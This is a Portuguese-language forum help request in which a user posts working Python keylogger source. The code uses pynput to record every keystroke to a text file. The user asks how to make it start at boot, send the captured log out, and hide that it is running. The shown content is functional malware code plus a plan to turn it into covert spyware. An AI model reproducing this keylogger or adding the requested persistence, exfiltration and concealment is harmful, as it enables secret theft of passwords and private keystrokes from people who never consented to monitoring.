Ajuda com Keylogger em python

28/01/2020

0

Olá, comecei recentemente a me aprofundar mais em python, resolvi tentar desenvolver um keylogger apenas por conhecimento. Esse foi o que eu consegui desenvolver até agora:

from pynput.keyboard import Listener, Key

def log(text):
    with open("log.txt", "a") as file_log:
        file_log.write(text)

def monitor(key):
    if key == Key.enter:
        log("\n")
    try:
        log(key.char)
    except AttributeError:
        log(" <" +str(key)+ "> ")
    if key == Key.insert:
        return False
    else: print(key)
    
with Listener(on_release=monitor) as listener:
    listener.join()


Foi até aqui que meu conhecimento me permitiu chegar, gostaria de saber o que eu posso fazer para melhorar esse codigo? como por exemplo:
Iniciar logo que o computador for iniciado
Enviar por algum meio os dados salvos no bloco txt
Ocultar o funcionamento do keylogger e etc..
Nielies

Nielies

Responder

Utilizamos cookies para fornecer uma melhor experiência para nossos usuários, consulte nossa política de privacidade.

Aceitar